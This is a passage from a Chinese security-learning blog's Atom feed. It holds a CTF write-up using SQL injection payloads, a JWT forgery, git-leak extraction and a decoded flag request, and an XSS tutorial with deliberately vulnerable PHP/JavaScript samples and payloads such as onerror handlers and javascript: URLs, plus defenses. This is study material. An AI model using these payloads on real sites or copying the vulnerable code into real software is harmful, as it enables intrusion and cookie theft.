<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>xiexie</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>http://47.109.24.42/</id>
  <link href="http://47.109.24.42/" rel="alternate"/>
  <link href="http://47.109.24.42/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, xiexie</rights>
  <subtitle>xiexie 的技术记录：记录、复现与理解。</subtitle>
  <title>xiexie'blog</title>
  <updated>2026-07-12T16:00:00.000Z</updated>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <content>
      <![CDATA[<ol><li>CampusOneStudent Store<br>一个接口<code>/api/debug/sessions</code> 爆不出来 一个字典里面几百万个都没法 虽然感觉这个组合也不是很难 但是一般的爆破都是递归的 也就是说&#x2F;api能访问 然后才会向下 这个不一样… 所以没法了<br>假设知道了吧… 得到了管理员session id抓包去改 然后去访问&#x2F;admin接口 进行只过滤了空格的sql注入<br><img src="/images/28.png"><br>这样 sql注入就是最基础的<br>列数<br><code>q=&#39;/**/order/**/by/**/5--+</code><br><img src="/images/30.png"><br>不一样的地方 然后看表名<br><code>&#39;/**/union/**/select/**/1,2,3,name,5/**/from/**/sqlite_master--+</code><br>得到key value<br><code>&#39;/**/union/**/select/**/1,2,3,key,value/**/from/**/secrets--+</code><br>坐等官方wp<br>ivory学长说前端有泄露<br><img src="/images/31.png"><br>接口是暴露的 然后没有要求什么权限 任意都能登录</li><li><code>/view?page=</code>可以实现任意文件读取 ..&#x2F;目录遍历 api文档里面可以看到<br>GET <code>/view?page=docs.html</code><br>Retrieves static documentation and system status pages.<br>然后部署方式<strong>Deployment:</strong> Automated via Git-Hooks<br>猜测是通过找到JWT密钥拿到权限（可能是极客那个题让我这样想的）<br><img src="/images/32.png"><br>当时也只能干到这些了 后面学长说是git泄露 那就拿出工具githack<br><img src="/images/33.png"><br>能扫出来 但是打不开logs objects 前面task9学习了简单的git泄露 看不到关键文件夹<br><img src="/images/34.png"><br>还是不行的<br>学长说githack扫不完 换工具gitdump 这里坑了好久 本地下Docker拉的改名了（轻羽去问了学长的 ） 改个名 正常扫 然后跟着ai走就出来了</li><li>Mole in the Wall<br>它们的安防系统似乎依赖于 debug&#x2F;config 目录下的一个 JSON 文件…… 提示<br>那么访问一下<br><img src="/images/35.png"></li></ol><p>完整的 JWT 设计情报 后端在校验 JWT 时，只检查这几个 claim 是否匹配<br>员工登录这里输入的是token 找到了设计规则 那么自己jwt.io来生成<br><img src="/images/36.png"><br>用这个token去登陆 得到了一个压缩包 里面一个文件<br><code>&lt;root&gt;&lt;network&gt;&lt;path&gt;/api/run-flow&lt;/path&gt;&lt;/network&gt;&lt;/root&gt;</code><br>去这个接口看看<br>访问了 是405 路径存在但方法不对 POST对了<br><code>curl.exe -X POST http://127.0.0.1:4999/api/run-flow </code>{“error”:”invalid input”}&#96;<br>看其他文件</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;Display.InputDialog\n        Title: $&#x27;&#x27;&#x27;Afton Robotics - Maintenance Mode&#x27;&#x27;&#x27;\n        Message: $&#x27;&#x27;&#x27;Enter Technician Clearance Code:&#x27;&#x27;&#x27;\n        InputType: Display.InputType.Password\n        DefaultValue: $&#x27;&#x27;&#x27;&#x27;\n        IsTopMost: True\n        UserInput=&gt; AuthCode\n\n        Display.ShowMessage\n        Message: $&#x27;&#x27;&#x27;Initializing animatronic subsystem...\n        Firmware check in progress.&#x27;&#x27;&#x27;\n        Icon: Display.Icon.Information\n        Buttons: Display.Buttons.OK\n        IsTopMost: True\n\n        System.RunDosCommand\n        Command: $&#x27;&#x27;&#x27;start https://youtu.be/Blv9qVYlioY?si=wvpDtlWkkbvdjbBm&#x27;&#x27;&#x27;\n\n        File.ReadTextFromFile\n        File: $&#x27;&#x27;&#x27;%CD%\\logs\\session.log&#x27;&#x27;&#x27;\n        Encoding: File.Encoding.UTF8\n        Contents=&gt; EncryptedText\n\n        SET FinalVar TO &#x27;&#x27;\n\n        FOR Index FROM 0 TO Length(EncryptedText) - 1 STEP 1\n            GetSubtext\n            Text: EncryptedText\n            StartIndex: Index\n            Length: 1\n            Subtext=&gt; Char\n\n            ConvertTextToNumber\n            Text: Char\n            Number=&gt; Ascii\n\n            SET DecodedAscii TO Ascii - 1\n\n            GetCharacterFromAsciiCode\n            AsciiCode: DecodedAscii\n            Character=&gt; DecodedChar\n\n            SET FinalVar TO FinalVar + DecodedChar\n        END\n\n        IF AuthCode = FinalVar THEN\n            XML.ReadFromFile\n            File: $&#x27;&#x27;&#x27;%CD%\\config\\settings.xml&#x27;&#x27;&#x27;\n            XmlDocument=&gt; XmlConfig\n\n            XML.GetElementValue\n            XmlDocument: XmlConfig\n            XPath: $&#x27;&#x27;&#x27;//root/network/path&#x27;&#x27;&#x27;\n            Value=&gt; ApiPath\n\n            SET Body TO $&#x27;&#x27;&#x27;&#123; \&quot;input\&quot;: \&quot;%FinalVar%\&quot; &#125;&#x27;&#x27;&#x27;\n\n            Web.InvokeWebServicePost\n            Url: $&#x27;&#x27;&#x27;http://girlypies.rusec.ctf%ApiPath%&#x27;&#x27;&#x27;\n            RequestBody: Body\n        ELSE\n            Display.ShowMessage\n            Message: $&#x27;&#x27;&#x27;CRITICAL ERROR: Springlocks Engaged.&#x27;&#x27;&#x27;\n            Icon: Display.Icon.Error\n            Buttons: Display.Buttons.OK\n        END\n\n        System.RunDosCommand\n        Command: $&#x27;&#x27;&#x27;start sounds\\startup_jingle.wav&#x27;&#x27;&#x27;\n\n        Display.ShowMessage\n        Message: $&#x27;&#x27;&#x27;Animatronic ANIM-04 is online.\n        Stage-ready and awaiting guests.&#x27;&#x27;&#x27;\n        Icon: Display.Icon.Warning\n        Buttons: Display.Buttons.OK\n        IsTopMost: True&quot;</span><br></pre></td></tr></table></figure><p>这是本来的session.log <code>u$bu_qvsqm4_hvz</code> ascii减一 得到<code>t#at_purpl3_guy</code><br>就用powershell来发了 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Invoke-RestMethod `</span><br><span class="line">  -Uri http://127.0.0.1:4999/api/run-flow `</span><br><span class="line">  -Method POST `</span><br><span class="line">  -ContentType &quot;application/json&quot; `</span><br><span class="line">  -Body &#x27;&#123;&quot;input&quot;:&quot;t#at_purpl3_guy&quot;&#125;&#x27;</span><br></pre></td></tr></table></figure><p>得到 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">StatusCode        : 200</span><br><span class="line">StatusDescription : OK</span><br><span class="line">Content           : &#123;&quot;result&quot;:&quot;RUSEC&#123;m1cro$oft_n3ver_mad3_g00d_aut0m4t1on&#125;&quot;&#125;</span><br></pre></td></tr></table></figure><ol start="4"><li>Commentary<br>这一关整理一下网络原理吧</li></ol><p>HTTP 协议规定：<br>请求头和请求体之间必须有一个空行<br>所以必须是 两个 CRLF(这周做xss了解了的 上面专门写了http协议里面只能解析\r\n)</p><p>关于http&#x2F;1.0 http&#x2F;1.1<br>HTTP&#x2F;1.1 的问题 必须要有 <code>Host:</code> 头 没有就可能返回 400<br>HTTP&#x2F;1.0 的特点 不强制 Host</p><p>过程<br>TCP 先DNS解析ctf.rusec.club → x.x.x.x<br>再TCP三次握手<br>应用层 无 Host:nginx 无法进行 vhost 匹配</p><ol><li>收到 TCP 连接</li><li>读取 HTTP 请求头</li><li>取 Host 头的值</li><li>在所有 server_name 中查找匹配的 vhost</li><li>找不到 → 使用 default_server<br>这里重新温习了一会关于task0的知识 以及https为什么不行<br>TCP → TLS → HTTP ssrf的时候了解过<br>ClientHello<br>  ├─ TLS Version<br>  ├─ Cipher Suites<br>  └─ SNI: ctf.rusec.club<br>在http之前就以及暴露了的</li></ol>]]>
    </content>
    <id>http://47.109.24.42/2026/07/13/scarlet-ctf/</id>
    <link href="http://47.109.24.42/2026/07/13/scarlet-ctf/"/>
    <published>2026-07-12T16:00:00.000Z</published>
    <summary>
      <![CDATA[<ol>
<li>CampusOneStudent Store<br>一个接口<code>/api/debug/sessions</code> 爆不出来 一个字典里面几百万个都没法 虽然感觉这个组合也不是很难 但是一般的爆破都是递归的 也就是说&#x2F;api能访问 然后才会向]]>
    </summary>
    <title>Scarlet CTF</title>
    <updated>2026-07-12T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h2 id="一、-浏览器底层机制与安全基石"><a href="#一、-浏览器底层机制与安全基石" class="headerlink" title="一、 浏览器底层机制与安全基石"></a>一、 浏览器底层机制与安全基石</h2><p>理解XSS的执行逻辑，必须建立在充分掌握浏览器渲染流程与同源策略的基础之上。</p><h3 id="1-浏览器渲染过程与-DOM-构建"><a href="#1-浏览器渲染过程与-DOM-构建" class="headerlink" title="1. 浏览器渲染过程与 DOM 构建"></a>1. 浏览器渲染过程与 DOM 构建</h3><p>浏览器接收到HTML字节流后，需要将其解析为可供渲染和交互的结构。XSS代码的执行正是发生在这个解析阶段。</p><ul><li><p><strong>分词与打标签 (Tokenizing)</strong>：HTML解析器逐字读取字符序列，进行词法分析，识别出标签（如 <code>&lt;html&gt;</code>, <code>&lt;body&gt;</code>）并生成对应的Token。</p></li><li><p><strong>生成节点对象 (Lexing&#x2F;Node Generation)</strong>：将Token转化为具有DOM属性和方法的节点对象。</p></li><li><p><strong>构建 DOM 树 (Tree Construction)</strong>：根据HTML的嵌套关系，将节点对象按照层级挂载，形成完整的DOM树。DOM（文档对象模型）本质上是HTML文档在内存中的面向对象表示，它作为桥梁，使得JavaScript等脚本语言能够动态访问和更新文档的内容、结构和样式。</p></li><li><p><strong>安全解析机制（XSS的触发原理）</strong>：浏览器是一边解析HTML一边构建DOM的。<strong>当HTML解析器遇到 <code>&lt;script&gt;</code> 标签时，会阻塞DOM树的构建，将控制权交由JavaScript引擎执行脚本。</strong> 如果该段脚本是攻击者注入的恶意代码，就会在此刻被触发执行。对于 <code>&lt;img onerror&gt;</code> 等事件驱动的标签，则是在节点构建完成、外部资源加载失败或满足特定交互条件时触发脚本执行。</p></li></ul><h3 id="2-同源策略-Same-Origin-Policy-SOP"><a href="#2-同源策略-Same-Origin-Policy-SOP" class="headerlink" title="2. 同源策略 (Same-Origin Policy, SOP)"></a>2. 同源策略 (Same-Origin Policy, SOP)</h3><p>同源策略是Web浏览器最核心的安全模型，用于隔离潜在恶意文件。</p><ul><li><p><strong>同源的定义</strong>：两个URL的<strong>协议 (Protocol)</strong>、<strong>域名 (Domain)</strong>、<strong>端口 (Port)</strong> 必须完全一致。</p></li><li><p><strong>SOP的限制范围</strong>：</p><ul><li><p>禁止读取非同源的 Cookie、LocalStorage、IndexedDB 等本地存储。</p></li><li><p>禁止获取非同源文档的 DOM 节点（例如无法读取嵌入的跨域 <code>iframe</code> 内部的数据）。</p></li><li><p>限制跨域 AJAX&#x2F;Fetch 请求的响应读取。</p></li></ul></li><li><p><strong>SOP 与 XSS 的关系</strong>：攻击者无法直接在自己的服务器上写脚本去跨域读取目标网站的数据。（这里也是对csrf的一个大影响啊）因此，攻击者利用目标网站的输入&#x2F;输出过滤漏洞，将恶意脚本<strong>注入到目标网站的页面中</strong>。由于脚本在目标网站的域名下执行，完全符合同源策略，从而获得了目标域下的最高执行权限。</p></li></ul><hr><h2 id="二、-XSS-漏洞的三大核心类型与源码剖析"><a href="#二、-XSS-漏洞的三大核心类型与源码剖析" class="headerlink" title="二、 XSS 漏洞的三大核心类型与源码剖析"></a>二、 XSS 漏洞的三大核心类型与源码剖析</h2><p>XSS（跨站脚本攻击）的核心区别在于恶意代码的传递路径与触发节点。</p><h3 id="1-反射型-XSS-Reflected-XSS"><a href="#1-反射型-XSS-Reflected-XSS" class="headerlink" title="1. 反射型 XSS (Reflected XSS)"></a>1. 反射型 XSS (Reflected XSS)</h3><ul><li><p><strong>特征</strong>：非持久化。恶意脚本包含在客户端的HTTP请求（通常是URL参数）中，服务器接收后未做充分的清洗或转义，直接拼接到HTTP响应的HTML中返回给客户端，由浏览器解析执行。</p></li><li><p><strong>漏洞源码分析 (PHP)</strong>：</p><p>  PHP</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">// search.php</span><br><span class="line">&lt;?php </span><br><span class="line">// 缺陷：直接获取参数未作安全处理</span><br><span class="line">$search_query = $_GET[&#x27;query&#x27;]; </span><br><span class="line">?&gt; </span><br><span class="line">&lt;!DOCTYPE html&gt; </span><br><span class="line">&lt;html&gt; </span><br><span class="line">&lt;body&gt; </span><br><span class="line">  &lt;p&gt;搜索结果：&lt;?php echo $search_query; ?&gt;&lt;/p&gt; </span><br><span class="line">&lt;/body&gt; </span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure></li><li><p><strong>执行路径</strong>：攻击者构造URL <code>search.php?query=&lt;script&gt;alert(1)&lt;/script&gt;</code> -&gt; 受害者点击 -&gt; 服务器拼接Payload并返回 -&gt; 受害者浏览器执行脚本。</p></li></ul><h3 id="2-存储型-XSS-Stored-XSS"><a href="#2-存储型-XSS-Stored-XSS" class="headerlink" title="2. 存储型 XSS (Stored XSS)"></a>2. 存储型 XSS (Stored XSS)</h3><ul><li><p><strong>特征</strong>：持久化，危害范围广。应用程序接收包含恶意脚本的输入数据，并将其<strong>持久化存储（如数据库）</strong>。后续任何请求该数据的操作，都会导致恶意脚本被包含在响应中返回并执行。</p></li><li><p><strong>漏洞源码分析 (PHP + MySQL)</strong>：</p><p>  PHP</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">// 写入接口：save_message.php</span><br><span class="line">&lt;?php</span><br><span class="line">$message = $_POST[&#x27;content&#x27;]; </span><br><span class="line">$conn = mysqli_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;password&quot;, &quot;test_db&quot;);</span><br><span class="line">// 缺陷：无过滤直接入库</span><br><span class="line">$sql = &quot;INSERT INTO message (content) VALUES (&#x27;$message&#x27;)&quot;;</span><br><span class="line">mysqli_query($conn, $sql);</span><br><span class="line">?&gt;</span><br><span class="line"></span><br><span class="line">// 读取接口：show_message.php</span><br><span class="line">&lt;?php</span><br><span class="line">$conn = mysqli_connect(&quot;localhost&quot;, &quot;root&quot;, &quot;password&quot;, &quot;test_db&quot;);</span><br><span class="line">$sql = &quot;SELECT content FROM message&quot;;</span><br><span class="line">$result = mysqli_query($conn, $sql);</span><br><span class="line">// 缺陷：直接输出数据库内容，未进行HTML实体转义</span><br><span class="line">while($row = mysqli_fetch_assoc($result)) &#123;</span><br><span class="line">    echo &quot;&lt;div class=&#x27;msg&#x27;&gt;&quot; . $row[&#x27;content&#x27;] . &quot;&lt;/div&gt;&quot;;</span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure></li><li><p><strong>执行路径</strong>：攻击者提交Payload至数据库 -&gt; 多名用户访问展示页面 -&gt; 服务器读取Payload并随正常文档返回 -&gt; 所有访问者的浏览器执行脚本。</p></li></ul><h3 id="3-基于-DOM-的-XSS-DOM-based-XSS"><a href="#3-基于-DOM-的-XSS-DOM-based-XSS" class="headerlink" title="3. 基于 DOM 的 XSS (DOM-based XSS)"></a>3. 基于 DOM 的 XSS (DOM-based XSS)</h3><ul><li><p><strong>特征</strong>：<strong>恶意代码全程不经过服务器后端</strong>。漏洞存在于客户端JavaScript代码中。前端脚本不安全地读取了客户端可控的数据源（如 URL 参数、<code>location.hash</code>），并通过危险的 DOM API 将其动态插入到页面中引发执行。</p></li><li><p><strong>漏洞源码分析 (HTML&#x2F;JavaScript)</strong>：</p><p>  HTML</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">  &lt;div id=&quot;welcome&quot;&gt;&lt;/div&gt;</span><br><span class="line">  &lt;script&gt;</span><br><span class="line">    // 获取可控输入源 (Source)</span><br><span class="line">    var username = new URLSearchParams(location.search).get(&#x27;username&#x27;);</span><br><span class="line"></span><br><span class="line">    // 危险执行点 (Sink)：innerHTML会将传入的字符串当作HTML解析</span><br><span class="line">    document.getElementById(&#x27;welcome&#x27;).innerHTML = &quot;欢迎：&quot; + username;</span><br><span class="line">  &lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure></li><li><p><strong>危险的 DOM API (Sinks)</strong>：</p><ul><li><p>直接解析HTML：<code>innerHTML</code>, <code>outerHTML</code>, <code>document.write()</code>。</p></li><li><p>执行字符串代码：<code>eval()</code>, <code>setTimeout()</code>, <code>setInterval()</code>。</p></li><li><p>动态设置属性：<code>location.href</code>, <code>onclick</code>, <code>onerror</code>。</p></li></ul></li></ul><p><code>innerHTML</code>, <code>outerHTML</code>, <code>document.write()</code><br>这三个是前端 JavaScript 中用于<strong>动态操作和修改网页内容</strong>的核心 API。它们之所以在 Web 安全（特别是 DOM 型 XSS）中被重点标记为“危险函数（Sinks）”，是因为<strong>它们都会将接收到的字符串直接交给浏览器的 HTML 解析器去解析渲染</strong>。</p><p>如果这些字符串包含了用户可控的恶意代码，浏览器就会把它们当成真正的 HTML 标签去执行。</p><h3 id="1-innerHTML-内部-HTML"><a href="#1-innerHTML-内部-HTML" class="headerlink" title="1. innerHTML (内部 HTML)"></a>1. <code>innerHTML</code> (内部 HTML)</h3><ul><li><p><strong>作用</strong>：获取或设置一个 HTML 元素<strong>内部</strong>的所有内容（包括子节点和文本）。</p></li><li><p><strong>行为</strong>：当你给 <code>innerHTML</code> 赋值一个字符串时，浏览器会销毁该元素原本的所有子节点，然后将这个新字符串当作 HTML 代码进行解析，并生成新的 DOM 节点填充进去。</p></li></ul><p><strong>代码示例：</strong></p><p>HTML</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;div id=&quot;box&quot;&gt;原始文本&lt;/div&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">  let el = document.getElementById(&#x27;box&#x27;);</span><br><span class="line">  // 修改 innerHTML</span><br><span class="line">  el.innerHTML = &quot;&lt;b&gt;加粗的新文本&lt;/b&gt;&quot;;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="2-outerHTML-外部-HTML"><a href="#2-outerHTML-外部-HTML" class="headerlink" title="2. outerHTML (外部 HTML)"></a>2. <code>outerHTML</code> (外部 HTML)</h3><ul><li><p><strong>作用</strong>：获取或设置一个 HTML 元素<strong>自身及其内部</strong>的所有内容。</p></li><li><p><strong>行为</strong>：与 <code>innerHTML</code> 相比，<code>outerHTML</code> 不仅会替换元素内部的内容，还会<strong>把元素自己也替换掉</strong>。</p></li></ul><p><strong>代码示例：</strong></p><p>HTML</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">&lt;div id=&quot;box&quot;&gt;原始文本&lt;/div&gt;</span><br><span class="line"></span><br><span class="line">&lt;script&gt;</span><br><span class="line">  let el = document.getElementById(&#x27;box&#x27;);</span><br><span class="line">  // 修改 outerHTML</span><br><span class="line">  el.outerHTML = &quot;&lt;p&gt;我变成了一个段落&lt;/p&gt;&quot;;</span><br><span class="line">&lt;/script&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="3-document-write-文档写入"><a href="#3-document-write-文档写入" class="headerlink" title="3. document.write() (文档写入)"></a>3. <code>document.write()</code> (文档写入)</h3><ul><li><p><strong>作用</strong>：直接向 HTML 文档流中写入内容。这是一个非常古老且暴力的 API。</p></li><li><p><strong>行为</strong>：</p><ul><li><p>如果在页面<strong>正在加载</strong>时调用它，它会把字符串拼接到当前解析位置的 HTML 后面。</p></li><li><p>如果在页面<strong>已经加载完毕</strong>（如在 <code>window.onload</code> 或点击事件中）调用它，它会调用 <code>document.open()</code>，<strong>清空并重写整个网页的所有内容</strong>。</p></li></ul></li></ul><p><strong>代码示例：</strong></p><p>HTML</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;body&gt;</span><br><span class="line">  &lt;h1&gt;正常标题&lt;/h1&gt;</span><br><span class="line">  &lt;script&gt;</span><br><span class="line">    // 页面加载时执行</span><br><span class="line">    document.write(&quot;&lt;h2&gt;动态写入的标题&lt;/h2&gt;&quot;);</span><br><span class="line">  &lt;/script&gt;</span><br><span class="line">&lt;/body&gt;</span><br></pre></td></tr></table></figure><hr><h3 id="为什么它们是-XSS-的“重灾区”？"><a href="#为什么它们是-XSS-的“重灾区”？" class="headerlink" title="为什么它们是 XSS 的“重灾区”？"></a>为什么它们是 XSS 的“重灾区”？</h3><p>在安全领域，我们把接受输入并执行敏感操作的函数称为 <strong>Sink（汇聚点&#x2F;执行点）</strong>。这三个 API 就是极其危险的 HTML 解析 Sink。</p><p>假设有一段存在漏洞的代码：</p><p>JavaScript</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">let userInput = new URLSearchParams(location.search).get(&#x27;name&#x27;);</span><br><span class="line">document.getElementById(&#x27;greeting&#x27;).innerHTML = userInput;</span><br></pre></td></tr></table></figure><p><strong>黑客视角的利用原理</strong>：</p><ol><li><p><strong>常规思维</strong>：黑客可能会输入 <code>&lt;script&gt;alert(1)&lt;/script&gt;</code>。</p><ul><li><em>防御机制</em>：HTML5 标准规定，通过 <code>innerHTML</code> 或 <code>outerHTML</code> 插入的 <code>&lt;script&gt;</code> 标签<strong>不会被执行</strong>。这是浏览器的一种底层保护。</li></ul></li><li><p><strong>黑客的绕过（事件机制）</strong>：既然 <code>&lt;script&gt;</code> 不执行，黑客就会输入 <code>&lt;img src=x onerror=alert(1)&gt;</code>。</p><ul><li><em>破防</em>：<code>innerHTML</code> 会老老实实地解析出一个 <code>&lt;img&gt;</code> 标签，浏览器尝试去加载 <code>src=x</code>，加载失败，立刻触发 <code>onerror</code> 事件，执行了 <code>alert(1)</code>。此时 XSS 攻击成功！</li></ul></li></ol><h3 id="安全开发规范-防御方案"><a href="#安全开发规范-防御方案" class="headerlink" title="安全开发规范 (防御方案)"></a>安全开发规范 (防御方案)</h3><p>在日常全栈开发中，如果你只需要向页面中插入<strong>纯文本</strong>（比如用户的用户名、评论内容），<strong>绝对不要</strong>使用这三个 API。</p><p>应该使用安全的替代方案：</p><ul><li><strong><code>textContent</code></strong> 或 <strong><code>innerText</code></strong>：这两个属性只会把输入的字符串当作“纯文本”处理。即使你传入了 <code>&lt;img src=x onerror=alert(1)&gt;</code>，浏览器也只会把它当成一串普通的字符原样显示在屏幕上，绝不会去解析它，从而从根本上杜绝了 DOM 型 XSS。</li><li><strong>执行路径</strong>：攻击者构造URL <code>welcome.html?username=&lt;img src=x onerror=alert(1)&gt;</code> -&gt; 受害者点击 -&gt; 服务器返回合法静态页面 -&gt; 浏览器执行页面原有JS -&gt; 原有JS读取URL参数并注入DOM -&gt; 触发 <code>onerror</code> 执行。</li></ul><h3 id="4-执行字符串代码：eval-setTimeout-setInterval"><a href="#4-执行字符串代码：eval-setTimeout-setInterval" class="headerlink" title="4. 执行字符串代码：eval(), setTimeout(), setInterval()"></a>4. 执行字符串代码：<code>eval()</code>, <code>setTimeout()</code>, <code>setInterval()</code></h3><p>这类 API 的危险之处在于，它们拥有<strong>将普通的字符串转化为可执行 JavaScript 代码</strong>的最高权限。如果外部不可信数据流入了这些函数，就相当于直接把系统的控制台交给了黑客。</p><ul><li><p><strong><code>eval(string)</code></strong>：</p><ul><li><p><strong>作用</strong>：直接计算或执行传入的 JavaScript 字符串。</p></li><li><p><strong>漏洞场景</strong>：早期前端常用来解析 JSON 字符串，或者动态执行数学公式。</p></li><li><p><strong>源码剖析</strong>：</p><p>  JavaScript</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">// 危险代码：直接把 URL 的 hash 部分当做代码执行</span><br><span class="line">let userMathExpression = location.hash.substring(1); </span><br><span class="line">let result = eval(userMathExpression); </span><br></pre></td></tr></table></figure></li><li><p><strong>攻击Payload</strong>：攻击者构造链接 <code>http://target.com/#alert(document.cookie)</code>。<code>eval()</code> 会无条件执行 <code>alert()</code>，瞬间完成攻击。</p></li></ul></li><li><p><strong><code>setTimeout(string, delay)</code> 与 <code>setInterval(string, delay)</code></strong>：</p><ul><li><p><strong>作用</strong>：定时器函数。现代开发中，第一个参数通常传入一个<strong>回调函数</strong>，但由于历史兼容性原因，它们<strong>也允许传入一个字符串</strong>，并在延时后将该字符串作为 JS 代码执行。</p></li><li><p><strong>漏洞场景</strong>：</p><p>  JavaScript</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">let userName = new URLSearchParams(location.search).get(&#x27;name&#x27;);</span><br><span class="line">// 危险代码：将用户输入拼接到字符串中，交由 setTimeout 执行</span><br><span class="line">setTimeout(&quot;console.log(&#x27;欢迎, &quot; + userName + &quot;&#x27;)&quot;, 1000);</span><br></pre></td></tr></table></figure></li><li><p><strong>攻击Payload</strong>：攻击者输入 <code>?name=&#39;); alert(1); //</code>。 拼接后的字符串变成了：<code>console.log(&#39;欢迎, &#39;); alert(1); //&#39;)</code>。这导致原本的打印逻辑被闭合，紧接着执行了攻击者的注入代码，最后的 <code>//</code> 注释掉了多余的引号。</p></li></ul></li><li><p><strong>安全规范 (防御方案)</strong>：</p><ul><li><p><strong>绝对禁止使用 <code>eval()</code></strong>。如果是为了解析 JSON，必须使用标准的 <code>JSON.parse()</code>。</p></li><li><p>使用 <code>setTimeout</code> 和 <code>setInterval</code> 时，<strong>永远只传入函数引用（回调函数），绝不传入字符串</strong>。例如：<code>setTimeout(function() &#123; console.log(userName); &#125;, 1000);</code>。</p></li></ul></li></ul><h3 id="5-动态设置属性：location-href-onclick-onerror"><a href="#5-动态设置属性：location-href-onclick-onerror" class="headerlink" title="5. 动态设置属性：location.href, onclick, onerror"></a>5. 动态设置属性：<code>location.href</code>, <code>onclick</code>, <code>onerror</code></h3><p>这类 API 不会直接解析 HTML，也不会显式调用执行器，但它们控制着浏览器的<strong>跳转行为</strong>和<strong>事件响应机制</strong>，稍有不慎就会被黑客利用“伪协议”或“事件劫持”完成攻击。</p><ul><li><p><strong>跳转属性：<code>location.href</code> (或 <code>window.location</code>, <code>a.href</code>)</strong>：</p><ul><li><p><strong>作用</strong>：控制浏览器当前窗口的 URL 地址，常用于页面的重定向或返回上一页功能。</p></li><li><p><strong>漏洞场景</strong>：</p><p>  JavaScript</p>  <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// 从 URL 获取 &quot;next&quot; 参数作为返回地址</span><br><span class="line">let backUrl = new URLSearchParams(location.search).get(&#x27;next&#x27;);</span><br><span class="line">// 危险代码：未校验协议，直接赋值给 a 标签的 href</span><br><span class="line">document.getElementById(&#x27;backButton&#x27;).href = backUrl;</span><br></pre></td></tr></table></figure></li><li><p><strong>攻击Payload</strong>：黑客构造链接 <code>?next=javascript:alert(document.cookie)</code>。 当用户点击“返回”按钮时，浏览器发现这是一个 <code>javascript:</code> 伪协议，于是它<strong>不会进行网页跳转，而是直接执行后面的 JavaScript 代码</strong>。</p></li></ul></li><li><p><strong>事件属性：<code>onclick</code>, <code>onerror</code>, <code>onmouseover</code> 等</strong>：</p><ul><li><p><strong>作用</strong>：为 DOM 